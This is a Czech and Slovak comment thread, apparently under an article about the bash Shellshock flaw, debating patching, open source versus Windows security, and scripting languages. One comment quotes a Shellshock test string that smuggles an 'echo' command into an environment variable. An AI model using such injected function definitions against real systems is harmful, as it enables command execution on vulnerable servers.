Ohledně záplatování deset let staré krabičky: právě tam bych viděl největší problém. Výrobci na tyhle krabičky kašlou, a uživatelé také. Navíc je těch krabiček spousta. I kdyby snad nějaká třetí strana z čistě altruistických důvodů připravila patch pro konkrétní krabičku, nejspíš se na většinu těch krabiček nikdy nedostane. Podobný problém má i Android, kde vysoké procento telefonů nikdy nedostane patche.
-
l (neregistrovaný)
partial fix bol dostupny v dobe kedy sa to prevalilo do svetovych medii ako obrovska pohroma... a vecer bol dostupny kompletny fix.
Chapem, nie je to tak vzrusujuce ako cakanie na treti utorok v mesiaci ak to nevychadza na parny den - v opacnom pripade je to streda, pripadne predchadzajuci stvrtok - v zavislosti na ci ciferny sucet mesiaca a dna je delitelny 3 bez zbytku :-D -
JA (neregistrovaný)
Problem je, ze bash rozhodne neni skriptovaci (ani zadny jiny) jazyk. Tvrdim davno, ze v bashi psat skripty muze jenom uplny diletant! Jsou tu MULTIPLATFORMNI zalezitosti jako treba python ..... nebo treba i obskurnost jako perl je o nekolik levelu vys nez tristni bash!!!
Jinak o tom, ze o chybe nikdo nevedel by se dalo s uspechem spekulovat ..... myslim, ze o ni vedela spoooousta lidi, jenom az ted se nasel "aktivni blbec" (:), co to nahlasil.
To je presne problem open source, vsichni muzou teoreticky nezodpovedne prispivat bez vetsi kontroly (je jen iluze, ze open source je bezpecnejsi diky otevrenemu kodu, NIKDO TO NECTE!) a par zdanlive nesouvisejicima commitama muze vzniknout velmi sofistikovany backdoor (jak je to dlouho, co se provalil ten clovek, co neco takoveho umyslne zatahl do ssh nebo ceho .... par let nazpatek) ..... a takovych budou stovky!
Neni nekde statistika podobne kritickych chyb ve windows a v linuxu? Za posledni VELMI KRATKOU dobu je to tohle a heartbleedbug ... ve windows uz par let vlastne nic kritickeho nebylo, aspon si nevzpominam. Vsechno jsou kriticke veci, co MS nahlasily externi firmy nebo jednotlivi nadsenci, kteri microsoftu analyzujou zdrojove kody a nahlasujou za tezke haky chyby. V linuxu z toho nic nekapne, tak se takove chyby tutlaji a vydelava se jinak:)
Mam pocit, ze podobna masove zmenuzitelna chyba byla u microsoftu pred 10+ lety ... to bylo neco s tema uctama ve webovych sluzbach, od te doby o nicem nevim. Podle W3C sdili linux spolu s windows servery prakticky 50:50 vetsinu webovych sluzeb, takze takova kriticka zneuzitelnost se tyka sice minima koncovych uzivatelu (na desktop linux nepatri), ale mozna i vic nez pulky webovych serveru a to je fakt na povazenou ...... to linuxu na povesti nepridava:o) -
l (neregistrovaný)
nemozes porovnavat oss a css na urovni - kolko kritickych chyb leaklo public. Hlavne lahsie sa najde bug v zdrojaku, ked ho citas (z akehokolvek dovodu) nez formou pokus-omyl.
Hlavne tvrdit ze zranitelnych je viac ako polovicka linuxovych webserverov - trochu nadsadene. Moj odhad sa pohybuje naopak v promile.
Zneuzitelnost skrz CGI je naozaj trivialna a trochu skusenejsi admin by mohol za poobedie ovladnut vsetky zranitelne systemy. Ale nezda sa ze by sa nieco take udialo. Takze bud je svet plny white-hatov alebo to s tou zranitelnostou nie je az take palive.
A hlavne - ani HB ani SS nie je chybou linuxu ako takeho. To si moze mysliet maximalne tak bezny Franta uzivatel.
-
Lael Ophir (neregistrovaný)
Podobný problém dokázali vyrobit i autoři libpng. Ke spuštění kódu stačilo otevřít PNG obrázek. Wow.
http://www.cvedetails.com/cve/CVE-2010-1205/BTW koukal jste i na tohle?
http://www.cvedetails.com/vulnerability-list/vendor_id-33/Linux.html
http://www.cvedetails.com/vulnerability-list/vendor_id-25/product_id-38/Redhat-Linux.html -
Lael Ophir (neregistrovaný)
Linkoval jste problémy Windows, a zřejmě jste tím chtěl ukázat, že mají spoustu bezpečnostních problémů. Ano, samozřejmě mají - ale nejsou samy.
Ad aspon se Red Hat neprsi, ze kazdou novou verzi prepisuje od zakladu jako Microsoft - a on se takhle MS někde prsí? Nevšiml jsem si.
-
Lael Ophir (neregistrovaný)
LOL, pěkně :). Je tu ovšem pár rozdílů:
- Je to problém příkazu echo, nikoliv vlastního vyhodnocování výrazu.
- Ve Windows spouštíme procesy pomocí CreateProcess(), a tam se cmd.exe nepoužívá. A nepoužívá se ani když zavoláte ShellExecute().
- Ve Windows máme na všechno API, takže není důvod spouštět utility pomocí shell out. -
ebik (neregistrovaný)
bash je skriptrovaci jazyk v tom smyslu, ze shell je skriptovaci jazyk. Shell je take jediny skriptovaci jazyk, kteremu budou rozumet vsichni unixovy sysopove. Ano bash je nevhodny, ale jsou tu jine shelly. Perlu ani pythonu sysopove rozumet nemusi a presto mohou byt ve sve funkci dobri (samozrejme ne vsude).
-
Keson (neregistrovaný)
Pokud jsem to správně pochopil, tak i opravený bash stále interpretuje environment proměnné s () jako funkce. Pouze si ohlídá, že jde o platnou definici a nespustí věci typu:
tretifunkce="() { :; }; echo HACKED"
Nic mi tedy nebrání nadefinovat korektní funkci s názvemcd,echo, neboexec, která se v daném skriptu volá. -
Ondřej CaletkaZlatý podporovatel
Přesně tak, například v CGI všechny uživatelské hlavičky přijdou s prefixem
HTTP_, takže není možné předefinovat funkce, které začínají jinak. Obecně ovšem lze doporučit privelegovaný mód bashe (bash -p), který mimo jiné funkce z prostředí neimportuje. -
Nie je mi jasne, ci zdrojaky bash na https://ftp.gnu.org/gnu/bash/ uz obsahuju oba fixy. Posledny patch bol publikovany 24.9. Fix, ktory RedHat vydal 26.9. je, alebo nie je sucastou ?
-
Lemming (neregistrovaný)
Perl je čajíček oproti takovému jazyku FALSE: http://esolangs.org/wiki/FALSE
-
ebik (neregistrovaný)
A včem se píší o tolik snadněji než v perlu? Já pokud mám jako první řádku 'use strict;' tak mi to většinu chyb ohlásí při kompilaci, a ty ostatní bych udělal v jiných jazycích stejně. Nášlapné miny se také shodují s ostatními skriptovacími jazyky (eval, system, ....). Naopak v perlu napíšu validaci proměnných prostředích (pomocí reguláru) výrazně rychleji než v ostatních jazycích, právě kvůli tomu, že perl obsahuje spoustu syntaktického cukru. A když mi jde psaní rychleji, tak mi zbyde víc času na přemýšlení, jesti to dělám správně.
-
Lael Ophir (neregistrovaný)
Problém vidím hlavně v tom, že je kód v Perlu obtížně čitelný. Rychlejší psaní mi nepřijde jako argument. Ve většině IDE máte k dispozici nějakou obdobu IntelliSense, která psaní urychlí. Navíc samotná rychlost psaní od nějaké úrovně už není podstatná, protože přemýšlením nad kódem strávíte nesrovnatelně víc času, než jeho vlastním datlováním do stroje.
-
ebik (neregistrovaný)
Problem s intellisence je ten, ze ho nemate na vzdalenem serveru. Takze si musite skript nahravat k sobe, editovat, nahrat na vzdaleny server, vyzkouset, ejhle ono se to chova jinak, nahrat k sobe, editovat, nahrat na vdaleny server, vyzkouset, ejhle ono se to chova jinak, nahrat ....
Pokud ten jazyk lze cist v hloupem editoru, a lze zapisovat ve hloupem editoru snadno, tak pak tomu rikam skriptovaci jazyk. Jinak tomu rikam programovani v ide (na to jsem rovnou mohl pouzit javu nebo C++). Jde hlave o to, aby se jednoduche veci (vyslovitelne jednoduchou vetou), jednoduse zapisovaly (a jednoduse cetly). To u spousty programovacich jazyku, kde je potreba explicitne kontrolovat navratovy kod funkce nejde. V tom je prave krasa shellu: zapnu "set -e" a kontroluju jen vystupy prikazu o kterych vim jak osetrim jejich selhani. Perl pak pouzivam na parsovani vseho mozneho. Parsovani logu. Agregace ruznych statistik z logu a tak podobne. Ma totiz velmi zkracenou syntaxi pro pouziti regularnich vyrazu, hashu a foreach cyklu (tady mam namysli konstrukce 'map' a 'grep'). Zkousel jsem to v ostatnich jazycich ale vzdy se tam oproti perlu neco zapisovalo "pres ruku". Navic ma perl takove vychytavky jako prepinac -n nebo -p, takze hrave nahradi awk nebo sed tam kde chce clovek jen o malinko vic nez co zvladnou.
-
ebik (neregistrovaný)
Cimz se dostavam k tomu, ze silu (skriptovaciho) jazyka nedela jeho sytaxe, ale to jake standardni knihovny a jak snadno jsou dostupne nestandardni knihovny. (Perl ma velkou cast CPANu v baliccich (alespon na debianu)).
Shell je jeste dal: ma takove prikazy jake administrator nainstaluje do systemu.
